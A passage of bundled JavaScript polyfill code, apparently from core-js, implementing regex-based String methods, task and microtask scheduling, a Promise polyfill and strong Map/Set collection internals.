				var fns = exec(_defined, SYMBOL, ''[KEY], function maybeCallNative(nativeMethod, regexp, str, arg2, forceStringMethod) {
					if (regexp.exec === _regexpExec) {
						if (DELEGATES_TO_SYMBOL && !forceStringMethod) {
							// The native String method already delegates to @@method (this
							// polyfilled function), leasing to infinite recursion.
							// We avoid it by directly calling the native @@method method.
							return {
								done: true,
								value: nativeRegExpMethod.call(regexp, str, arg2)
							};
						}

						return {
							done: true,
							value: nativeMethod.call(str, regexp, arg2)
						};
					}

					return {
						done: false
					};
				});
				var strfn = fns[0];
				var rxfn = fns[1];
				_redefine(String.prototype, KEY, strfn);
				_hide(RegExp.prototype, SYMBOL, length == 2 // 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue)
					// 21.2.5.11 RegExp.prototype[@@split](string, limit)
					? function (string, arg) {
						return rxfn.call(string, this, arg);
					} // 21.2.5.6 RegExp.prototype[@@match](string)
					// 21.2.5.9 RegExp.prototype[@@search](string)
					: function (string) {
						return rxfn.call(string, this);
					});
			}
		};

		// @@match logic


		_fixReWks('match', 1, function (defined, MATCH, $match, maybeCallNative) {
			return [// `String.prototype.match` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.match
				function match(regexp) {
					var O = defined(this);
					var fn = regexp == undefined ? undefined : regexp[MATCH];
					return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
				}, // `RegExp.prototype[@@match]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match
				function (regexp) {
					var res = maybeCallNative($match, regexp, this);
					if (res.done) return res.value;
					var rx = _anObject(regexp);
					var S = String(this);
					if (!rx.global) return _regexpExecAbstract(rx, S);
					var fullUnicode = rx.unicode;
					rx.lastIndex = 0;
					var A = [];
					var n = 0;
					var result;

					while ((result = _regexpExecAbstract(rx, S)) !== null) {
						var matchStr = String(result[0]);
						A[n] = matchStr;
						if (matchStr === '') rx.lastIndex = _advanceStringIndex(S, _toLength(rx.lastIndex), fullUnicode);
						n++;
					}

					return n === 0 ? null : A;
				}];
		});

		var max$1 = Math.max;
		var min$2 = Math.min;
		var floor$3 = Math.floor;
		var SUBSTITUTION_SYMBOLS = /\$([$&`']|\d\d?|<[^>]*>)/g;
		var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&`']|\d\d?)/g;

		var maybeToString = function maybeToString(it) {
			return it === undefined ? it : String(it);
		}; // @@replace logic


		_fixReWks('replace', 2, function (defined, REPLACE, $replace, maybeCallNative) {
			return [// `String.prototype.replace` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.replace
				function replace(searchValue, replaceValue) {
					var O = defined(this);
					var fn = searchValue == undefined ? undefined : searchValue[REPLACE];
					return fn !== undefined ? fn.call(searchValue, O, replaceValue) : $replace.call(String(O), searchValue, replaceValue);
				}, // `RegExp.prototype[@@replace]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace
				function (regexp, replaceValue) {
					var res = maybeCallNative($replace, regexp, this, replaceValue);
					if (res.done) return res.value;
					var rx = _anObject(regexp);
					var S = String(this);
					var functionalReplace = typeof replaceValue === 'function';
					if (!functionalReplace) replaceValue = String(replaceValue);
					var global = rx.global;

					if (global) {
						var fullUnicode = rx.unicode;
						rx.lastIndex = 0;
					}

					var results = [];

					while (true) {
						var result = _regexpExecAbstract(rx, S);
						if (result === null) break;
						results.push(result);
						if (!global) break;
						var matchStr = String(result[0]);
						if (matchStr === '') rx.lastIndex = _advanceStringIndex(S, _toLength(rx.lastIndex), fullUnicode);
					}

					var accumulatedResult = '';
					var nextSourcePosition = 0;

					for (var i = 0; i < results.length; i++) {
						result = results[i];
						var matched = String(result[0]);
						var position = max$1(min$2(_toInteger(result.index), S.length), 0);
						var captures = []; // NOTE: This is equivalent to
						//   captures = result.slice(1).map(maybeToString)
						// but for some reason `nativeSlice.call(result, 1, result.length)` (called in
						// the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and
						// causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it.

						for (var j = 1; j < result.length; j++) {
							captures.push(maybeToString(result[j]));
						}

						var namedCaptures = result.groups;

						if (functionalReplace) {
							var replacerArgs = [matched].concat(captures, position, S);
							if (namedCaptures !== undefined) replacerArgs.push(namedCaptures);
							var replacement = String(replaceValue.apply(undefined, replacerArgs));
						} else {
							replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue);
						}

						if (position >= nextSourcePosition) {
							accumulatedResult += S.slice(nextSourcePosition, position) + replacement;
							nextSourcePosition = position + matched.length;
						}
					}

					return accumulatedResult + S.slice(nextSourcePosition);
				}]; // https://tc39.github.io/ecma262/#sec-getsubstitution

			function getSubstitution(matched, str, position, captures, namedCaptures, replacement) {
				var tailPos = position + matched.length;
				var m = captures.length;
				var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED;

				if (namedCaptures !== undefined) {
					namedCaptures = _toObject(namedCaptures);
					symbols = SUBSTITUTION_SYMBOLS;
				}

				return $replace.call(replacement, symbols, function (match, ch) {
					var capture;

					switch (ch.charAt(0)) {
						case '$':
							return '$';

						case '&':
							return matched;

						case '`':
							return str.slice(0, position);

						case "'":
							return str.slice(tailPos);

						case '<':
							capture = namedCaptures[ch.slice(1, -1)];
							break;

						default:
							// \d\d?
							var n = +ch;
							if (n === 0) return match;

							if (n > m) {
								var f = floor$3(n / 10);
								if (f === 0) return match;
								if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1);
								return match;
							}

							capture = captures[n - 1];
					}

					return capture === undefined ? '' : capture;
				});
			}
		});

		// @@search logic


		_fixReWks('search', 1, function (defined, SEARCH, $search, maybeCallNative) {
			return [// `String.prototype.search` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.search
				function search(regexp) {
					var O = defined(this);
					var fn = regexp == undefined ? undefined : regexp[SEARCH];
					return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O));
				}, // `RegExp.prototype[@@search]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search
				function (regexp) {
					var res = maybeCallNative($search, regexp, this);
					if (res.done) return res.value;
					var rx = _anObject(regexp);
					var S = String(this);
					var previousLastIndex = rx.lastIndex;
					if (!_sameValue(previousLastIndex, 0)) rx.lastIndex = 0;
					var result = _regexpExecAbstract(rx, S);
					if (!_sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex;
					return result === null ? -1 : result.index;
				}];
		});

		// 7.3.20 SpeciesConstructor(O, defaultConstructor)




		var SPECIES$3 = _wks('species');

		var _speciesConstructor = function (O, D) {
			var C = _anObject(O).constructor;
			var S;
			return C === undefined || (S = _anObject(C)[SPECIES$3]) == undefined ? D : _aFunction(S);
		};

		var $min = Math.min;
		var $push = [].push;
		var $SPLIT = 'split';
		var LENGTH = 'length';
		var LAST_INDEX$1 = 'lastIndex';
		var MAX_UINT32 = 0xffffffff; // babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError

		var SUPPORTS_Y = !_fails(function () {
		}); // @@split logic

		_fixReWks('split', 2, function (defined, SPLIT, $split, maybeCallNative) {
			var internalSplit;

			if ('abbc'[$SPLIT](/(b)*/)[1] == 'c' || 'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 || 'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 || '.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 || '.'[$SPLIT](/()()/)[LENGTH] > 1 || ''[$SPLIT](/.?/)[LENGTH]) {
				// based on es5-shim implementation, need to rework it
				internalSplit = function internalSplit(separator, limit) {
					var string = String(this);
					if (separator === undefined && limit === 0) return []; // If `separator` is not a regex, use native split

					if (!_isRegexp(separator)) return $split.call(string, separator, limit);
					var output = [];
					var flags = (separator.ignoreCase ? 'i' : '') + (separator.multiline ? 'm' : '') + (separator.unicode ? 'u' : '') + (separator.sticky ? 'y' : '');
					var lastLastIndex = 0;
					var splitLimit = limit === undefined ? MAX_UINT32 : limit >>> 0; // Make `global` and avoid `lastIndex` issues by working with a copy

					var separatorCopy = new RegExp(separator.source, flags + 'g');
					var match, lastIndex, lastLength;

					while (match = _regexpExec.call(separatorCopy, string)) {
						lastIndex = separatorCopy[LAST_INDEX$1];

						if (lastIndex > lastLastIndex) {
							output.push(string.slice(lastLastIndex, match.index));
							if (match[LENGTH] > 1 && match.index < string[LENGTH]) $push.apply(output, match.slice(1));
							lastLength = match[0][LENGTH];
							lastLastIndex = lastIndex;
							if (output[LENGTH] >= splitLimit) break;
						}

						if (separatorCopy[LAST_INDEX$1] === match.index) separatorCopy[LAST_INDEX$1]++; // Avoid an infinite loop
					}

					if (lastLastIndex === string[LENGTH]) {
						if (lastLength || !separatorCopy.test('')) output.push('');
					} else output.push(string.slice(lastLastIndex));

					return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output;
				}; // Chakra, V8

			} else if ('0'[$SPLIT](undefined, 0)[LENGTH]) {
				internalSplit = function internalSplit(separator, limit) {
					return separator === undefined && limit === 0 ? [] : $split.call(this, separator, limit);
				};
			} else {
				internalSplit = $split;
			}

			return [// `String.prototype.split` method
				// https://tc39.github.io/ecma262/#sec-string.prototype.split
				function split(separator, limit) {
					var O = defined(this);
					var splitter = separator == undefined ? undefined : separator[SPLIT];
					return splitter !== undefined ? splitter.call(separator, O, limit) : internalSplit.call(String(O), separator, limit);
				}, // `RegExp.prototype[@@split]` method
				// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split
				//
				// NOTE: This cannot be properly polyfilled in engines that don't support
				// the 'y' flag.
				function (regexp, limit) {
					var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== $split);
					if (res.done) return res.value;
					var rx = _anObject(regexp);
					var S = String(this);
					var C = _speciesConstructor(rx, RegExp);
					var unicodeMatching = rx.unicode;
					var flags = (rx.ignoreCase ? 'i' : '') + (rx.multiline ? 'm' : '') + (rx.unicode ? 'u' : '') + (SUPPORTS_Y ? 'y' : 'g'); // ^(? + rx + ) is needed, in combination with some S slicing, to
					// simulate the 'y' flag.

					var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags);
					var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;
					if (lim === 0) return [];
					if (S.length === 0) return _regexpExecAbstract(splitter, S) === null ? [S] : [];
					var p = 0;
					var q = 0;
					var A = [];

					while (q < S.length) {
						splitter.lastIndex = SUPPORTS_Y ? q : 0;
						var z = _regexpExecAbstract(splitter, SUPPORTS_Y ? S : S.slice(q));
						var e;

						if (z === null || (e = $min(_toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p) {
							q = _advanceStringIndex(S, q, unicodeMatching);
						} else {
							A.push(S.slice(p, q));
							if (A.length === lim) return A;

							for (var i = 1; i <= z.length - 1; i++) {
								A.push(z[i]);
								if (A.length === lim) return A;
							}

							q = p = e;
						}
					}

					A.push(S.slice(p));
					return A;
				}];
		});

		var _anInstance = function (it, Constructor, name, forbiddenField) {
			if (!(it instanceof Constructor) || forbiddenField !== undefined && forbiddenField in it) {
				throw TypeError(name + ': incorrect invocation!');
			}

			return it;
		};

		var _forOf = createCommonjsModule(function (module) {
			var BREAK = {};
			var RETURN = {};

			var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) {
				var iterFn = ITERATOR ? function () {
					return iterable;
				} : core_getIteratorMethod(iterable);
				var f = _ctx(fn, that, entries ? 2 : 1);
				var index = 0;
				var length, step, iterator, result;
				if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!'); // fast case for arrays with default iterator

				if (_isArrayIter(iterFn)) for (length = _toLength(iterable.length); length > index; index++) {
					result = entries ? f(_anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
					if (result === BREAK || result === RETURN) return result;
				} else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) {
					result = _iterCall(iterator, f, step.value, entries);
					if (result === BREAK || result === RETURN) return result;
				}
			};

			exports.BREAK = BREAK;
			exports.RETURN = RETURN;
		});

		var process = _global.process;
		var setTask = _global.setImmediate;
		var clearTask = _global.clearImmediate;
		var MessageChannel = _global.MessageChannel;
		var Dispatch = _global.Dispatch;
		var counter = 0;
		var queue = {};
		var ONREADYSTATECHANGE = 'onreadystatechange';
		var defer, channel, port;

		var run = function run() {
			var id = +this; // eslint-disable-next-line no-prototype-builtins

			if (queue.hasOwnProperty(id)) {
				var fn = queue[id];
				delete queue[id];
				fn();
			}
		};

		var listener = function listener(event) {
			run.call(event.data);
		}; // Node.js 0.9+ & IE10+ has setImmediate, otherwise:


		if (!setTask || !clearTask) {
			setTask = function setImmediate(fn) {
				var args = [];
				var i = 1;

				while (arguments.length > i) {
					args.push(arguments[i++]);
				}

				queue[++counter] = function () {
					// eslint-disable-next-line no-new-func
					_invoke(typeof fn == 'function' ? fn : Function(fn), args);
				};

				defer(counter);
				return counter;
			};

			clearTask = function clearImmediate(id) {
				delete queue[id];
			}; // Node.js 0.8-


			if (_cof(process) == 'process') {
				defer = function defer(id) {
					process.nextTick(_ctx(run, id, 1));
				}; // Sphere (JS game engine) Dispatch API

			} else if (Dispatch && Dispatch.now) {
				defer = function defer(id) {
					Dispatch.now(_ctx(run, id, 1));
				}; // Browsers with MessageChannel, includes WebWorkers

			} else if (MessageChannel) {
				channel = new MessageChannel();
				port = channel.port2;
				channel.port1.onmessage = listener;
				defer = _ctx(port.postMessage, port, 1); // Browsers with postMessage, skip WebWorkers
				// IE8 has postMessage, but it's sync & typeof its postMessage is 'object'
			} else if (_global.addEventListener && typeof postMessage == 'function' && !_global.importScripts) {
				defer = function defer(id) {
					_global.postMessage(id + '', '*');
				};

				_global.addEventListener('message', listener, false); // IE8-
			} else if (ONREADYSTATECHANGE in _domCreate('script')) {
				defer = function defer(id) {
					_html.appendChild(_domCreate('script'))[ONREADYSTATECHANGE] = function () {
						_html.removeChild(this);
						run.call(id);
					};
				}; // Rest old browsers

			} else {
				defer = function defer(id) {
					setTimeout(_ctx(run, id, 1), 0);
				};
			}
		}

		var _task = {
			set: setTask,
			clear: clearTask
		};

		var macrotask = _task.set;

		var Observer = _global.MutationObserver || _global.WebKitMutationObserver;
		var process$1 = _global.process;
		var Promise = _global.Promise;
		var isNode = _cof(process$1) == 'process';

		var _microtask = function () {
			var head, last, notify;

			var flush = function flush() {
				var parent, fn;
				if (isNode && (parent = process$1.domain)) parent.exit();

				while (head) {
					fn = head.fn;
					head = head.next;

					try {
						fn();
					} catch (e) {
						if (head) notify();else last = undefined;
						throw e;
					}
				}

				last = undefined;
				if (parent) parent.enter();
			}; // Node.js


			if (isNode) {
				notify = function notify() {
					process$1.nextTick(flush);
				}; // browsers with MutationObserver, except iOS Safari - https://github.com/zloirock/core-js/issues/339

			} else if (Observer && !(_global.navigator && _global.navigator.standalone)) {
				var toggle = true;
				var node = document.createTextNode('');
				new Observer(flush).observe(node, {
					characterData: true
				}); // eslint-disable-line no-new

				notify = function notify() {
					node.data = toggle = !toggle;
				}; // environments with maybe non-completely correct, but existent Promise

			} else if (Promise && Promise.resolve) {
				// Promise.resolve without an argument throws an error in LG WebOS 2
				var promise = Promise.resolve(undefined);

				notify = function notify() {
					promise.then(flush);
				}; // for other environments - macrotask based on:
				// - setImmediate
				// - MessageChannel
				// - window.postMessag
				// - onreadystatechange
				// - setTimeout

			} else {
				notify = function notify() {
					// strange IE + webpack dev server bug - use .call(global)
					macrotask.call(_global, flush);
				};
			}

			return function (fn) {
				var task = {
					fn: fn,
					next: undefined
				};
				if (last) last.next = task;

				if (!head) {
					head = task;
					notify();
				}

				last = task;
			};
		};

		function PromiseCapability(C) {
			var resolve, reject;
			this.promise = new C(function ($$resolve, $$reject) {
				if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor');
				resolve = $$resolve;
				reject = $$reject;
			});
			this.resolve = _aFunction(resolve);
			this.reject = _aFunction(reject);
		}

		var f$7 = function (C) {
			return new PromiseCapability(C);
		};

		var _newPromiseCapability = {
			f: f$7
		};

		var _perform = function (exec) {
			try {
				return {
					e: false,
					v: exec()
				};
			} catch (e) {
				return {
					e: true,
					v: e
				};
			}
		};

		var navigator = _global.navigator;
		var _userAgent = navigator && navigator.userAgent || '';

		var _promiseResolve = function (C, x) {
			_anObject(C);
			if (_isObject(x) && x.constructor === C) return x;
			var promiseCapability = _newPromiseCapability.f(C);
			var resolve = promiseCapability.resolve;
			resolve(x);
			return promiseCapability.promise;
		};

		var _redefineAll = function (target, src, safe) {
			for (var key in src) {
				_redefine(target, key, src[key], safe);
			}

			return target;
		};

		var task = _task.set;

		var microtask = _microtask();









		var PROMISE = 'Promise';
		var TypeError$1 = _global.TypeError;
		var process$2 = _global.process;
		var versions = process$2 && process$2.versions;
		var v8 = versions && versions.v8 || '';
		var $Promise = _global[PROMISE];
		var isNode$1 = _classof(process$2) == 'process';

		var empty = function empty() {
			/* empty */
		};

		var Internal, newGenericPromiseCapability, OwnPromiseCapability, Wrapper;
		var newPromiseCapability = newGenericPromiseCapability = _newPromiseCapability.f;
		var USE_NATIVE$1 = !!function () {
			try {
				// correct subclassing with @@species support
				var promise = $Promise.resolve(1);

				var FakePromise = (promise.constructor = {})[_wks('species')] = function (exec) {
					exec(empty, empty);
				}; // unhandled rejections tracking support, NodeJS Promise without it fails @@species test


				return (isNode$1 || typeof PromiseRejectionEvent == 'function') && promise.then(empty) instanceof FakePromise // v8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables
					// https://bugs.chromium.org/p/chromium/issues/detail?id=830565
					// we can't detect it synchronously, so just check versions
					&& v8.indexOf('6.6') !== 0 && _userAgent.indexOf('Chrome/66') === -1;
			} catch (e) {
				/* empty */
			}
		}(); // helpers

		var isThenable = function isThenable(it) {
			var then;
			return _isObject(it) && typeof (then = it.then) == 'function' ? then : false;
		};

		var notify = function notify(promise, isReject) {
			if (promise._n) return;
			promise._n = true;
			var chain = promise._c;
			microtask(function () {
				var value = promise._v;
				var ok = promise._s == 1;
				var i = 0;

				var run = function run(reaction) {
					var handler = ok ? reaction.ok : reaction.fail;
					var resolve = reaction.resolve;
					var reject = reaction.reject;
					var domain = reaction.domain;
					var result, then, exited;

					try {
						if (handler) {
							if (!ok) {
								if (promise._h == 2) onHandleUnhandled(promise);
								promise._h = 1;
							}

							if (handler === true) result = value;else {
								if (domain) domain.enter();
								result = handler(value); // may throw

								if (domain) {
									domain.exit();
									exited = true;
								}
							}

							if (result === reaction.promise) {
								reject(TypeError$1('Promise-chain cycle'));
							} else if (then = isThenable(result)) {
								then.call(result, resolve, reject);
							} else resolve(result);
						} else reject(value);
					} catch (e) {
						if (domain && !exited) domain.exit();
						reject(e);
					}
				};

				while (chain.length > i) {
					run(chain[i++]);
				} // variable length - can't use forEach


				promise._c = [];
				promise._n = false;
				if (isReject && !promise._h) onUnhandled(promise);
			});
		};

		var onUnhandled = function onUnhandled(promise) {
			task.call(_global, function () {
				var value = promise._v;
				var unhandled = isUnhandled(promise);
				var result, handler, console;

				if (unhandled) {
					result = _perform(function () {
						if (isNode$1) {
							process$2.emit('unhandledRejection', value, promise);
						} else if (handler = _global.onunhandledrejection) {
							handler({
								promise: promise,
								reason: value
							});
						} else if ((console = _global.console) && console.error) {
							console.error('Unhandled promise rejection', value);
						}
					}); // Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should

					promise._h = isNode$1 || isUnhandled(promise) ? 2 : 1;
				}

				promise._a = undefined;
				if (unhandled && result.e) throw result.v;
			});
		};

		var isUnhandled = function isUnhandled(promise) {
			return promise._h !== 1 && (promise._a || promise._c).length === 0;
		};

		var onHandleUnhandled = function onHandleUnhandled(promise) {
			task.call(_global, function () {
				var handler;

				if (isNode$1) {
					process$2.emit('rejectionHandled', promise);
				} else if (handler = _global.onrejectionhandled) {
					handler({
						promise: promise,
						reason: promise._v
					});
				}
			});
		};

		var $reject = function $reject(value) {
			var promise = this;
			if (promise._d) return;
			promise._d = true;
			promise = promise._w || promise; // unwrap

			promise._v = value;
			promise._s = 2;
			if (!promise._a) promise._a = promise._c.slice();
			notify(promise, true);
		};

		var $resolve = function $resolve(value) {
			var promise = this;
			var then;
			if (promise._d) return;
			promise._d = true;
			promise = promise._w || promise; // unwrap

			try {
				if (promise === value) throw TypeError$1("Promise can't be resolved itself");

				if (then = isThenable(value)) {
					microtask(function () {
						var wrapper = {
							_w: promise,
							_d: false
						}; // wrap

						try {
							then.call(value, _ctx($resolve, wrapper, 1), _ctx($reject, wrapper, 1));
						} catch (e) {
							$reject.call(wrapper, e);
						}
					});
				} else {
					promise._v = value;
					promise._s = 1;
					notify(promise, false);
				}
			} catch (e) {
				$reject.call({
					_w: promise,
					_d: false
				}, e); // wrap
			}
		}; // constructor polyfill


		if (!USE_NATIVE$1) {
			// 25.4.3.1 Promise(executor)
			$Promise = function Promise(executor) {
				_anInstance(this, $Promise, PROMISE, '_h');
				_aFunction(executor);
				Internal.call(this);

				try {
					executor(_ctx($resolve, this, 1), _ctx($reject, this, 1));
				} catch (err) {
					$reject.call(this, err);
				}
			}; // eslint-disable-next-line no-unused-vars


			Internal = function Promise(executor) {
				this._c = []; // <- awaiting reactions

				this._a = undefined; // <- checked in isUnhandled reactions

				this._s = 0; // <- state

				this._d = false; // <- done

				this._v = undefined; // <- value

				this._h = 0; // <- rejection state, 0 - default, 1 - handled, 2 - unhandled

				this._n = false; // <- notify
			};

			Internal.prototype = _redefineAll($Promise.prototype, {
				// 25.4.5.3 Promise.prototype.then(onFulfilled, onRejected)
				then: function then(onFulfilled, onRejected) {
					var reaction = newPromiseCapability(_speciesConstructor(this, $Promise));
					reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true;
					reaction.fail = typeof onRejected == 'function' && onRejected;
					reaction.domain = isNode$1 ? process$2.domain : undefined;

					this._c.push(reaction);

					if (this._a) this._a.push(reaction);
					if (this._s) notify(this, false);
					return reaction.promise;
				},
				// 25.4.5.1 Promise.prototype.catch(onRejected)
				'catch': function _catch(onRejected) {
					return this.then(undefined, onRejected);
				}
			});

			OwnPromiseCapability = function OwnPromiseCapability() {
				var promise = new Internal();
				this.promise = promise;
				this.resolve = _ctx($resolve, promise, 1);
				this.reject = _ctx($reject, promise, 1);
			};

			_newPromiseCapability.f = newPromiseCapability = function newPromiseCapability(C) {
				return C === $Promise || C === Wrapper ? new OwnPromiseCapability(C) : newGenericPromiseCapability(C);
			};
		}

		_export(_export.G + _export.W + _export.F * !USE_NATIVE$1, {
			Promise: $Promise
		});

		_setToStringTag($Promise, PROMISE);

		_setSpecies(PROMISE);

		Wrapper = _core[PROMISE]; // statics

		_export(_export.S + _export.F * !USE_NATIVE$1, PROMISE, {
			// 25.4.4.5 Promise.reject(r)
			reject: function reject(r) {
				var capability = newPromiseCapability(this);
				var $$reject = capability.reject;
				$$reject(r);
				return capability.promise;
			}
		});
		_export(_export.S + _export.F * (_library || !USE_NATIVE$1), PROMISE, {
			// 25.4.4.6 Promise.resolve(x)
			resolve: function resolve(x) {
				return _promiseResolve(_library && this === Wrapper ? $Promise : this, x);
			}
		});
		_export(_export.S + _export.F * !(USE_NATIVE$1 && _iterDetect(function (iter) {
			$Promise.all(iter)['catch'](empty);
		})), PROMISE, {
			// 25.4.4.1 Promise.all(iterable)
			all: function all(iterable) {
				var C = this;
				var capability = newPromiseCapability(C);
				var resolve = capability.resolve;
				var reject = capability.reject;
				var result = _perform(function () {
					var values = [];
					var index = 0;
					var remaining = 1;
					_forOf(iterable, false, function (promise) {
						var $index = index++;
						var alreadyCalled = false;
						values.push(undefined);
						remaining++;
						C.resolve(promise).then(function (value) {
							if (alreadyCalled) return;
							alreadyCalled = true;
							values[$index] = value;
							--remaining || resolve(values);
						}, reject);
					});
					--remaining || resolve(values);
				});
				if (result.e) reject(result.v);
				return capability.promise;
			},
			// 25.4.4.4 Promise.race(iterable)
			race: function race(iterable) {
				var C = this;
				var capability = newPromiseCapability(C);
				var reject = capability.reject;
				var result = _perform(function () {
					_forOf(iterable, false, function (promise) {
						C.resolve(promise).then(capability.resolve, reject);
					});
				});
				if (result.e) reject(result.v);
				return capability.promise;
			}
		});

		var _validateCollection = function (it, TYPE) {
			if (!_isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!');
			return it;
		};

		var dP$5 = _objectDp.f;



















		var fastKey = _meta.fastKey;



		var SIZE = _descriptors ? '_s' : 'size';

		var getEntry = function getEntry(that, key) {
			// fast case
			var index = fastKey(key);
			var entry;
			if (index !== 'F') return that._i[index]; // frozen object case

			for (entry = that._f; entry; entry = entry.n) {
				if (entry.k == key) return entry;
			}
		};

		var _collectionStrong = {
			getConstructor: function getConstructor(wrapper, NAME, IS_MAP, ADDER) {
				var C = wrapper(function (that, iterable) {
					_anInstance(that, C, NAME, '_i');
					that._t = NAME; // collection type

					that._i = _objectCreate(null); // index

					that._f = undefined; // first entry

					that._l = undefined; // last entry

					that[SIZE] = 0; // size

					if (iterable != undefined) _forOf(iterable, IS_MAP, that[ADDER], that);
				});
				_redefineAll(C.prototype, {
					// 23.1.3.1 Map.prototype.clear()
					// 23.2.3.2 Set.prototype.clear()
					clear: function clear() {
						for (var that = _validateCollection(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) {
							entry.r = true;
							if (entry.p) entry.p = entry.p.n = undefined;
							delete data[entry.i];
						}

						that._f = that._l = undefined;
						that[SIZE] = 0;
					},
					// 23.1.3.3 Map.prototype.delete(key)
					// 23.2.3.4 Set.prototype.delete(value)
					'delete': function _delete(key) {
						var that = _validateCollection(this, NAME);
						var entry = getEntry(that, key);

						if (entry) {
							var next = entry.n;
							var prev = entry.p;
							delete that._i[entry.i];
							entry.r = true;
							if (prev) prev.n = next;
							if (next) next.p = prev;
							if (that._f == entry) that._f = next;
							if (that._l == entry) that._l = prev;
							that[SIZE]--;
						}

						return !!entry;
					},
					// 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)
					// 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)
					forEach: function forEach(callbackfn
											  /* , that = undefined */
					) {
						_validateCollection(this, NAME);
						var f = _ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3);
						var entry;

						while (entry = entry ? entry.n : this._f) {
							f(entry.v, entry.k, this); // revert to the last existing entry

							while (entry && entry.r) {
								entry = entry.p;
							}
						}
					},
					// 23.1.3.7 Map.prototype.has(key)
					// 23.2.3.7 Set.prototype.has(value)
					has: function has(key) {
						return !!getEntry(_validateCollection(this, NAME), key);
					}
				});
				if (_descriptors) dP$5(C.prototype, 'size', {
					get: function get() {
						return _validateCollection(this, NAME)[SIZE];
					}
				});
				return C;
			},
			def: function def(that, key, value) {
				var entry = getEntry(that, key);
				var prev, index; // change existing entry

				if (entry) {
					entry.v = value; // create new entry
				} else {
					that._l = entry = {
						i: index = fastKey(key, true),
						// <- index
						k: key,
						// <- key
						v: value,
						// <- value
						p: prev = that._l,
						// <- previous entry
						n: undefined,
						// <- next entry
						r: false // <- removed

					};
					if (!that._f) that._f = entry;
					if (prev) prev.n = entry;
					that[SIZE]++; // add to index

					if (index !== 'F') that._i[index] = entry;
				}

				return that;
			},
			getEntry: getEntry,
			setStrong: function setStrong(C, NAME, IS_MAP) {
				// add .keys, .values, .entries, [@@iterator]
				// 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11
				_iterDefine(C, NAME, function (iterated, kind) {
					this._t = _validateCollection(iterated, NAME); // target

					this._k = kind; // kind

					this._l = undefined; // previous
				}, function () {
					var that = this;
					var kind = that._k;
					var entry = that._l; // revert to the last existing entry

					while (entry && entry.r) {
						entry = entry.p;
					} // get next entry


					if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) {
						// or finish the iteration
						that._t = undefined;
						return _iterStep(1);
					} // return step by kind


					if (kind == 'keys') return _iterStep(0, entry.k);
					if (kind == 'values') return _iterStep(0, entry.v);
					return _iterStep(0, [entry.k, entry.v]);
				}, IS_MAP ? 'entries' : 'values', !IS_MAP, true); // add [@@species], 23.1.2.2, 23.2.2.2

				_setSpecies(NAME);
			}
		};

		var _collection = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) {
			var Base = _global[NAME];
			var C = Base;
			var ADDER = IS_MAP ? 'set' : 'add';
			var proto = C && C.prototype;
			var O = {};

			var fixMethod = function fixMethod(KEY) {
				var fn = proto[KEY];
				_redefine(proto, KEY, KEY == 'delete' ? function (a) {
					return IS_WEAK && !_isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
				} : KEY == 'has' ? function has(a) {
					return IS_WEAK && !_isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
				} : KEY == 'get' ? function get(a) {
					return IS_WEAK && !_isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);
				} : KEY == 'add' ? function add(a) {
					fn.call(this, a === 0 ? 0 : a);
					return this;
				} : function set(a, b) {
					fn.call(this, a === 0 ? 0 : a, b);
					return this;
				});
			};

			if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !_fails(function () {
				new C().entries().next();
			}))) {
				// create collection constructor
				C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
				_redefineAll(C.prototype, methods);
				_meta.NEED = true;
			} else {
				var instance = new C(); // early implementations not supports chaining

				var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; // V8 ~  Chromium 40- weak-collections throws on primitives, but should return false

				var THROWS_ON_PRIMITIVES = _fails(function () {
					instance.has(1);
				}); // most early implementations doesn't supports iterables, most modern - not close it correctly

				var ACCEPT_ITERABLES = _iterDetect(function (iter) {
					new C(iter);
				}); // eslint-disable-line no-new
